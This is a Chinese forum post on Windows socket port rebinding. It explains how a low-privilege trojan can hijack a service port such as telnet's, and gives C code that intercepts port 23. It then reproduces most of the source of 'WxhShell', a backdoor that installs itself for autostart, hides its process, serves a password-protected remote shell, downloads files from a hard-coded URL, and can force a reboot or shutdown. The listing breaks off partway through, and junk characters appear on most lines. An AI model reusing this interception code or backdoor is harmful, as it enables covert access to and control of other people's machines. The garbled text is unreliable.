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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 5}X<(q(  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); VM<oUKh_3  
V 4\^TO`q=  
  saddr.sin_family = AF_INET; 1%/ NL?8#  
hk"9D<&i>b  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 2{sD*8&`  
m|nL!Wc  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); J/]o WC`u  
`u p-m=zA  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 9 N*S-Po=  
BYr_Lz|T  
  这意味着什么?意味着可以进行如下的攻击: L.IoGUxD  
I!F}`d  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ,Ou1!`6?t  
%2Xus9;k#  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) X]zCTY=l  
~ C/Yv&58  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 e_I; y  
0uVk$\:i  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  oRT  
X ]pR,\B  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ) 8x:x7?  
.y %pGi  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 y(/jTS/ hd  
Xc8= 2n  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 kwDh|K  
^ Hz  
  #include Giy3eva2  
  #include ;B|^2i1Wi  
  #include #uD)0zdw  
  #include    e9z$+h  
  DWORD WINAPI ClientThread(LPVOID lpParam);   u|m[(-`  
  int main() gJFR1  
  { r6F{  
  WORD wVersionRequested; >+Sv9S  
  DWORD ret; 1EC-e|M.  
  WSADATA wsaData; `uIx/.L  
  BOOL val; R "/xne  
  SOCKADDR_IN saddr; 5';/@M  
  SOCKADDR_IN scaddr; SZim>@R  
  int err; ]^yV`Z8  
  SOCKET s; GZ/pz+)i&  
  SOCKET sc; ?Kx6Sf<i  
  int caddsize;  95.qAFB1  
  HANDLE mt; cS"f  
  DWORD tid;   iXUWIgr  
  wVersionRequested = MAKEWORD( 2, 2 ); ^f^-.X  
  err = WSAStartup( wVersionRequested, &wsaData ); 2X qTyf<  
  if ( err != 0 ) { pY{; Yn&t  
  printf("error!WSAStartup failed!\n"); iwG>]:K3  
  return -1; rQu  
  } +Fc ET  
  saddr.sin_family = AF_INET; ou<S)_|Iu  
   RL7C YB  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 =F'l's^j  
6)=](VmNL`  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ffmG~$Yh_  
  saddr.sin_port = htons(23); 8N=%X-R%  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ONjC(7  
  { Ph(]?MG\_  
  printf("error!socket failed!\n"); XysFwi  
  return -1; k%EWkM)?  
  } 2gQY8h8  
  val = TRUE; V;>9&'Z3  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 JwN}Jm  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) #d }0}7ue  
  { nuf@}W>y  
  printf("error!setsockopt failed!\n"); Q  `e~MD  
  return -1; & cM u/}  
  } c8^+^.=pX  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; :3111}>c  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 -kG3k> by_  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 h|J;6Sm@  
]4Nvh\/P9  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) a~8:rW^  
  { /_NkB$&  
  ret=GetLastError(); %/{IssCR7  
  printf("error!bind failed!\n"); D+| K%_Qq  
  return -1; HBt|}uZ?6i  
  } R'*<A3^  
  listen(s,2); ^-gfib|VGe  
  while(1) aqcFY8b '  
  { U>/<6 Wd  
  caddsize = sizeof(scaddr); IV)^;i  
  //接受连接请求 pY^pTWs(  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); AC 9{*K[  
  if(sc!=INVALID_SOCKET) mDb-=[W5  
  { Jz~+J*r;]A  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); kmZ.U>#  
  if(mt==NULL) 3x04JE3!  
  { [:AB$l*  
  printf("Thread Creat Failed!\n"); 5Z* b(R  
  break; |$YyjYK  
  } m(2G*}  
  } \w{@u)h  
  CloseHandle(mt); xL9:4'I  
  } AyE%0KmraK  
  closesocket(s); pp/#Am  
  WSACleanup(); Na\3.:]z  
  return 0; >nc4v6s  
  }   ^dFh g_GhF  
  DWORD WINAPI ClientThread(LPVOID lpParam) s9uL<$,'  
  { E"Zb};}  
  SOCKET ss = (SOCKET)lpParam; }*?yHJ3  
  SOCKET sc; Lf5%M|o.)  
  unsigned char buf[4096]; nVz5V%a!\q  
  SOCKADDR_IN saddr; uQeqnGp  
  long num; m,\i  
  DWORD val; x^zdTMNhw  
  DWORD ret; I)[`ZVAXR  
  //如果是隐藏端口应用的话,可以在此处加一些判断 IO}+[%ptc*  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Xy:Gj, @  
  saddr.sin_family = AF_INET; uK$=3[;U/!  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); BmJkt3j."  
  saddr.sin_port = htons(23); ZrFr`L5F;  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Bx+d3  
  { *y)4D[ z-  
  printf("error!socket failed!\n"); #0}Ok98P  
  return -1; # .~ga7Q  
  } lo"j )Zt  
  val = 100; +c-6#7hh  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) uZ@-e|qto  
  { pNP_f:A|  
  ret = GetLastError(); Bk&-1>cY  
  return -1; Xwn3+tSIa  
  } 7 rH'1U  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) [:Be[pLC  
  { IbF 4k .J  
  ret = GetLastError(); U$A/bEhw  
  return -1; x:p}w[WM  
  } +H41]W6  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)  ,Qat  
  { ,o BlJvm  
  printf("error!socket connect failed!\n"); : aHcPc:  
  closesocket(sc); DLU[<! C  
  closesocket(ss); VK9Q?nu  
  return -1; JRD8Lz]Q3  
  } UMT\Q6p  
  while(1) k}X[u8A  
  { D`en%Lf!m  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 _8al  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 +-U@0&Y3M  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 FH4u$ g+  
  num = recv(ss,buf,4096,0); a|U}Ammr  
  if(num>0) {nTG~d  
  send(sc,buf,num,0); ]y.R g{iv  
  else if(num==0)  wjL|Z8  
  break; oBb?"2~9  
  num = recv(sc,buf,4096,0); w %;hl#s  
  if(num>0) yDzdE;  
  send(ss,buf,num,0); S)+CTVVE  
  else if(num==0) tL1P<1j_  
  break; zkd3Z$Ce  
  } C9o$9 l+B  
  closesocket(ss); F{;; :  
  closesocket(sc); Ky *DfQA  
  return 0 ; ;8BA~,4l  
  } {wcO[bN  
2@sr:,\1  
yE}BfU {.  
========================================================== CF\R<rF<VS  
:"VujvFX  
下边附上一个代码,,WXhSHELL D@#0dDT  
Tj&'KF8?L  
========================================================== #$FY+`  
c!mG1lwD.  
#include "stdafx.h" "@4ghot t  
&2Q*1YXj  
#include <stdio.h> b"Zq0M0 l  
#include <string.h> {H+?z<BF<  
#include <windows.h> J,RDTXqn  
#include <winsock2.h> 3&$Nd  
#include <winsvc.h> #VO.%H}i  
#include <urlmon.h> !5&%\NSv  
s1{[{L3  
#pragma comment (lib, "Ws2_32.lib") eI0F!Yon  
#pragma comment (lib, "urlmon.lib") R+d< fe  
w(Gz({l+  
#define MAX_USER   100 // 最大客户端连接数 3I]Fdp)'  
#define BUF_SOCK   200 // sock buffer '[Xl>Z[  
#define KEY_BUFF   255 // 输入 buffer #K|0lau l  
\04mLIJr9  
#define REBOOT     0   // 重启 Gbn4 *<N  
#define SHUTDOWN   1   // 关机 3524m#4&@  
oKRFd_r+  
#define DEF_PORT   5000 // 监听端口 alc]  
n08; <  
#define REG_LEN     16   // 注册表键长度 iTu0T!4F  
#define SVC_LEN     80   // NT服务名长度 )%qtE34`  
~\ [?wN  
// 从dll定义API p'g^Wh  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); %&tb9_T)d  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); .1LPlZ  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); gJh}CrU-  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 2 Kl a8  
Ssf+b!e]  
// wxhshell配置信息 MQJ%He"  
struct WSCFG { 3"Yif  
  int ws_port;         // 监听端口 0yz~W(tsm  
  char ws_passstr[REG_LEN]; // 口令 BRa{\R^I  
  int ws_autoins;       // 安装标记, 1=yes 0=no 9_UN.]  
  char ws_regname[REG_LEN]; // 注册表键名 +bUW!$G  
  char ws_svcname[REG_LEN]; // 服务名 -TTs.O8P|<  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 x#mtS-sw2Q  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 r1;e 0\?`  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Yy hny[fa9  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 0cFn{q'u  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" N xFUO0O3  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ) "[HZ/  
(i]Z|@|)  
}; T9?54r  
3 z=\ .R  
// default Wxhshell configuration v,jhE9_O0  
struct WSCFG wscfg={DEF_PORT, nv)))I\  
    "xuhuanlingzhe", w.uK?A>W,  
    1, _f|/*. @Q  
    "Wxhshell", ,#d[ad<  
    "Wxhshell", `eC+% O  
            "WxhShell Service", ;Xu22f Kh  
    "Wrsky Windows CmdShell Service", ?}8IQxU  
    "Please Input Your Password: ", B?3juyB`--  
  1, hVM2/j  
  "http://www.wrsky.com/wxhshell.exe", r|fO7PD  
  "Wxhshell.exe" Xpl?g=B&u  
    }; Xm|ib%no  
nP1GW6Pu  
// 消息定义模块 8_a3'o%5  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; `%=<R-/#7S  
char *msg_ws_prompt="\n\r? for help\n\r#>"; iP#=:HZu;  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; aMJ;bQD  
char *msg_ws_ext="\n\rExit."; W#{la`#Bu  
char *msg_ws_end="\n\rQuit."; Rh<N);Sl7  
char *msg_ws_boot="\n\rReboot..."; +c) TDH  
char *msg_ws_poff="\n\rShutdown..."; %i"}x/CD[  
char *msg_ws_down="\n\rSave to "; EnJ!mr  
g<a<*)&  
char *msg_ws_err="\n\rErr!"; _mk5^u/u  
char *msg_ws_ok="\n\rOK!"; #\ #3r  
7"cv|6y|  
char ExeFile[MAX_PATH]; ,r`UBQ}?  
int nUser = 0; /2XW  
HANDLE handles[MAX_USER]; o @KW/RN"  
int OsIsNt; .6m_>Y6  
O%g\B8 ;  
SERVICE_STATUS       serviceStatus; [zh"x#AyI  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; "Pj}E=!k  
\$pkk6Q3,w  
// 函数声明 Hb!6Z EmN%  
int Install(void); 8TPN#"  
int Uninstall(void); 3=- })X ;  
int DownloadFile(char *sURL, SOCKET wsh); !re1EL  
int Boot(int flag); 6P*O&1hv  
void HideProc(void); sS9%3i/>  
int GetOsVer(void); 8r^ ~0nm  
int Wxhshell(SOCKET wsl); WYszk ,E  
void TalkWithClient(void *cs); S4bBafj[I  
int CmdShell(SOCKET sock); %4,?kh``D  
int StartFromService(void); Qn|+eLY  
int StartWxhshell(LPSTR lpCmdLine); Js{= i>D  
OipqoI2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 6(KmA-!b(O  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 9$RI H\*  
$iPP|Rw  
// 数据结构和表定义 +pp9d-n  
SERVICE_TABLE_ENTRY DispatchTable[] = CVQB"L  
{ cp%ii'  
{wscfg.ws_svcname, NTServiceMain}, ;GOz>pg  
{NULL, NULL} |=5/Rax^  
}; 0+`Pg  
>emcJVYV`[  
// 自我安装 *||d\peQ  
int Install(void) _u5dC   
{ /S~m)$vu  
  char svExeFile[MAX_PATH]; %Q~CB7ILK  
  HKEY key; j O8k6<l  
  strcpy(svExeFile,ExeFile); .=<$S#x^Hb  
|[1D$Qv  
// 如果是win9x系统,修改注册表设为自启动 PJ q yvbD  
if(!OsIsNt) { T)SbHp Y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { H?Jm'\~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Oy_c  
  RegCloseKey(key); j@| `f((4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Eju~}:Lo  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [BDGR B7d"  
  RegCloseKey(key); M_|> kp  
  return 0; /k6fLn2;  
    } 6+` tn  
  } $$1qF"GF  
} gQouOjfP  
else { RiR:69xwR*  
L`[z[p {?  
// 如果是NT以上系统,安装为系统服务 79BaDB`{a  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); `.v(fC  
if (schSCManager!=0) 9 26Tl  
{ }V`mp  
  SC_HANDLE schService = CreateService yPgmg@G@/  
  ( ir[jCea,  
  schSCManager, z$[C#5+2  
  wscfg.ws_svcname, >oJkJ$|wU  
  wscfg.ws_svcdisp, LFu%v7L`  
  SERVICE_ALL_ACCESS, `ifiL   
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , zoZH[a`H  
  SERVICE_AUTO_START, FWY2s(5p  
  SERVICE_ERROR_NORMAL, X_ ?97iXjx  
  svExeFile, YZE.@Rz  
  NULL, )/|6'L-2  
  NULL, <Kt3PyF  
  NULL, yL1CZ_  
  NULL, g/Wh,f3  
  NULL .p&Yr%~  
  ); n&Yk<  
  if (schService!=0) ]Pc^#=(R0  
  { io%')0p5q  
  CloseServiceHandle(schService); ziEz.Wn"  
  CloseServiceHandle(schSCManager); kXc25y'blP  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); jbmTmh1q  
  strcat(svExeFile,wscfg.ws_svcname); Y(6Sp'0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { la^ DjHA$  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); vkcRm`.  
  RegCloseKey(key); ]}PV"|#K{c  
  return 0; 0q6I;$H  
    } Ee2c5C!|C  
  } B'weok  
  CloseServiceHandle(schSCManager); Of[;Qn  
} z#Nl@NO&  
} F n|gVR  
.EP6oKA  
return 1; `-UJ /{  
} 5#2 F1NX  
jC, FG'P  
// 自我卸载 ,mFsM!|  
int Uninstall(void) R;}22s  
{ yR71%]*.  
  HKEY key; =A!S/;z>  
[L~@uAMw:  
if(!OsIsNt) { ,/,9j{|"j  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :Vuf6,  
  RegDeleteValue(key,wscfg.ws_regname); O'DW5hBL0  
  RegCloseKey(key); lU2c_4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7;}l\VXHm  
  RegDeleteValue(key,wscfg.ws_regname); KMK`F{  
  RegCloseKey(key); 7^:4A'  
  return 0; E]} n(  
  } .dmi#%W  
} ,|T7hTn=  
} BavO\{J#|0  
else { nU z7|y  
NgZUnh3{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); !<\Br  
if (schSCManager!=0) v"Jgw;3  
{ W WG /k17  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); pW?& J>\6  
  if (schService!=0) }_OM$nzj  
  { fI|[Z+"  
  if(DeleteService(schService)!=0) { 1|Q vN1?  
  CloseServiceHandle(schService); 5g ;ac~g  
  CloseServiceHandle(schSCManager); GdmmrfXB  
  return 0; 8cxai8  
  } 2>PH 8  
  CloseServiceHandle(schService); 'r} fZ  
  } 3OqX/z,  
  CloseServiceHandle(schSCManager); XvGA|Ekf<  
} ]!{y a8  
} O&Z' r  
kBEmmgL  
return 1; sz95i|@/  
} } :?.>#  
" Ar*QJ0]  
// 从指定url下载文件 !K0JV|-?t  
int DownloadFile(char *sURL, SOCKET wsh) C;rG]t^%  
{ KFWJ}pNq  
  HRESULT hr; +a+`Z>  
char seps[]= "/"; {G i h&N  
char *token; GA3sRFZdQ  
char *file; =U-r*sGLN  
char myURL[MAX_PATH]; )Hw:E71h2  
char myFILE[MAX_PATH]; UWXm?v2j  
7"v$- Wy  
strcpy(myURL,sURL); -w 6 "?  
  token=strtok(myURL,seps); yJ2B3i@T 4  
  while(token!=NULL) 4&X*pL2;  
  { g /+oZU  
    file=token; WE!vSZ3R  
  token=strtok(NULL,seps); Ca>&  
  } vK'?:}~  
LXfCmc9|Z  
GetCurrentDirectory(MAX_PATH,myFILE); 5\4g>5PD  
strcat(myFILE, "\\"); =hH.zrI6e  
strcat(myFILE, file); 5z/Er".P  
  send(wsh,myFILE,strlen(myFILE),0); )mN9(Ob!  
send(wsh,"...",3,0); ~6[*q~B  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); DPDe>3Mi[  
  if(hr==S_OK)  u\e\'\  
return 0; 2%UBw SiqR  
else -V<t-}h.  
return 1; i6PM<X,{;  
6LUC!Sh  
} hkL5HzWn  
V6a``i]  
// 系统电源模块 Q5+_u/  
int Boot(int flag) LLAa1Wq  
{ uQ Co6"e  
  HANDLE hToken; WMuD}s  
  TOKEN_PRIVILEGES tkp; \F6LZZ2Lv  
j|_E$L A\  
  if(OsIsNt) { e 9$C#D> D  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); %Z]'!X  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); OEgI_= B  
    tkp.PrivilegeCount = 1; le>Wm&E  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; h 8 @  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); @9G- m(?*  
if(flag==REBOOT) { kJK,6mN  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 2 YxTMT  
  return 0; rjWLMbd.<  
} $ 0Yh!L?\  
else { 34 AP(3w  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) :os z  
  return 0; !dcwq;Ea  
} p9ZXbAJ{  
  } 7S^""*Q^  
  else { c'fSu;1  
if(flag==REBOOT) { dj9 ?t  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) FH5ql~  
  return 0; .m4;^S2cO  
} jx`QB')kX  
else { 3K0tC=  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) gPC@Yy  
  return 0; W0`Gc {  
} !Jfs?Hy  
} {{yt*7k{  
*JCQu0  
return 1; E8}+k o  
} !b|'Vp^U  
.w? .ib(  
// win9x进程隐藏模块 <eN R8(P  
void HideProc(void) 2ef;NC.&n  
{ [bQj,PZ&  
in%;Eqk  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ] gb=  
  if ( hKernel != NULL ) S[:xqzyDg  
  { ;&;W T  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Ze^jG-SL$9  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 2(YPz|~W  
    FreeLibrary(hKernel); rw%l*xgX  
  } /uqu32;o  
i, nD5 @#  
return; "dh:-x6  
} )hKS0`$|  
6gO9 MQY  
// 获取操作系统版本 GJ(d&o8  
int GetOsVer(void) 4/> Our 5  
{ 2s ,8R  
  OSVERSIONINFO winfo; $So%d9k  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); +{`yeZ9S  
  GetVersionEx(&winfo); WgR4Ix^L#  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) *<V^2z$y_  
  return 1; Kf,-4)  
  else TW&DFKK`  
  return 0; dWRrG-'  
} M~ h8Crz  
ZFh+x@  
// 客户端句柄模块 %i{;r35M;9  
int Wxhshell(SOCKET wsl) N]/!mo?  
{ |I8Mk.Z=FA  
  SOCKET wsh; /i|z.nNO  
  struct sockaddr_in client; ': F}3At  
  DWORD myID; Tp%(I"H'_;  
pa .K-e)Mu  
  while(nUser<MAX_USER) 3eIr{xs  
{ 'md0]R|  
  int nSize=sizeof(client); 1qdZ c_x  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); f>Td)s1 M  
  if(wsh==INVALID_SOCKET) return 1; uYO|5a<f~  
6iezLG 5  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); PFSLyV*  
if(handles[nUser]==0) 1'w:`/_  
  closesocket(wsh); yWIm&Q:  
else Xo5$X7m  
  nUser++; |?m` xO  
  } tOdT[&  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); /ONV5IkPy  
> 6CV4 L  
  return 0; E;\M1(\u  
} WV<tyx9Z  
8s}J!/2  
// 关闭 socket tl8O6`<Z  
void CloseIt(SOCKET wsh) c$E)P$<j  
{ ,lN5,zI=S  
closesocket(wsh); / l>.mK()  
nUser--; pR o s{Uq"  
ExitThread(0); |lQ;ALH!  
} KJhN J  
XH4d<?qu  
// 客户端请求句柄 BuQ|~V  
void TalkWithClient(void *cs) h#YD~!aJ  
{ 4)-)#`K  
yOXO)u1n  
  SOCKET wsh=(SOCKET)cs; Q'NmSX)0  
  char pwd[SVC_LEN]; 9>*c_  
  char cmd[KEY_BUFF]; C*Vd-U  
char chr[1]; l)8&Ip  
int i,j; 5OLQw(E  
$ACx*e%  
  while (nUser < MAX_USER) { "l~Ci7& !a  
T`YwJ6N  
if(wscfg.ws_passstr) { ]Tp U"JD  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); H ZJL/=;  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =C7 khE  
  //ZeroMemory(pwd,KEY_BUFF); hXL|22>w<  
      i=0; U5ZX78>a  
  while(i<SVC_LEN) { g$37;d3Tx  
GY!C|7kN  
  // 设置超时 ~4#B'Gy[  
  fd_set FdRead; Wsz0yHD[`  
  struct timeval TimeOut; EYzg%\HH  
  FD_ZERO(&FdRead); n~0z_;5  
  FD_SET(wsh,&FdRead); ZXiRw)rM  
  TimeOut.tv_sec=8; Se^^E.Z,W  
  TimeOut.tv_usec=0; >wON\N0V_  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); -e-e9uP  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); E0f{iO;}  
?r_kyuU  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;<Qdy` T  
  pwd=chr[0]; _]>JB0IY  
  if(chr[0]==0xd || chr[0]==0xa) { Csst[3V  
  pwd=0; u:P~j  
  break; GlYly5F  
  } '?Bg;Z'L%  
  i++; \{|ImCH  
    } x-m/SI]_N  
w<wV]F*  
  // 如果是非法用户,关闭 socket Q4'C;<\@(Q  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); dDcZ!rRaL@  
} kEN#u  
%CH6lY=lI  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); $^%N U  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0%C^8%(x  
A*]$v  
while(1) { HOW7cV'X  
.J.vC1 4gi  
  ZeroMemory(cmd,KEY_BUFF); b[^{)$(  
x"B' zP  
      // 自动支持客户端 telnet标准   kToOIx  
  j=0; bY8GA  
  while(j<KEY_BUFF) { I<\ '%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); laREjN/\`  
  cmd[j]=chr[0]; (|h:h(C  
  if(chr[0]==0xa || chr[0]==0xd) { $~u.Wq  
  cmd[j]=0; }uO5q42  
  break; YcM;S  
  } +&v\ /  
  j++; f?UzD#50D  
    } `iixq9xi  
%_)zWlN  
  // 下载文件 [s6C ZcL  
  if(strstr(cmd,"http://")) { 7!4V >O8@  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); {[OwMk  
  if(DownloadFile(cmd,wsh)) F 1W+o?B  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); )c<6Sfp^B  
  else b)} +>Wx  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4MvC]_&  
  } MiGcA EF;  
  else { n'w,n1z7  
v548ysE)  
    switch(cmd[0]) { 5G*II_j  
  P'[<A Z  
  // 帮助 C7"HQQ  
  case '?': { ?-~I<f ]_  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 2W$lQ;iO  
    break; SG]K   
  } LsTffIP  
  // 安装 EQ >t[ &  
  case 'i': { !C&%T]  
    if(Install()) \_ow9vU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]|oJ)5P  
    else pdz'!I  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %efGt6&  
    break; V|?WF&  
    } TUTe9;)  
  // 卸载 ExhL[1E  
  case 'r': { =4NqjSH  
    if(Uninstall()) \HSicV#i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z1j|E :  
    else O.\h'3C  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7sV /_3H+  
    break; uH{'gd,q8  
    } 5w3Fqu>39?  
  // 显示 wxhshell 所在路径 mb1IQ &  
  case 'p': { xy^1US ,L1  
    char svExeFile[MAX_PATH]; ,x#ztdvr  
    strcpy(svExeFile,"\n\r"); o:\XRPB  
      strcat(svExeFile,ExeFile); x-Z^Q C  
        send(wsh,svExeFile,strlen(svExeFile),0); 9D_wG\g  
    break; 7 `Du5>b8  
    } _/x& <,3  
  // 重启 2i:zz? 'p`  
  case 'b': { L,M+sN  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 3E|;r _; 8  
    if(Boot(REBOOT)) Wc4vCVw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZgYZwc&-  
    else { 'D6 bmz  
    closesocket(wsh); &?<AwtNN  
    ExitThread(0); _Z#eS/,O@  
    } 8&(-8  
    break; fPQ|e"?  
    } &L3 #:jSk  
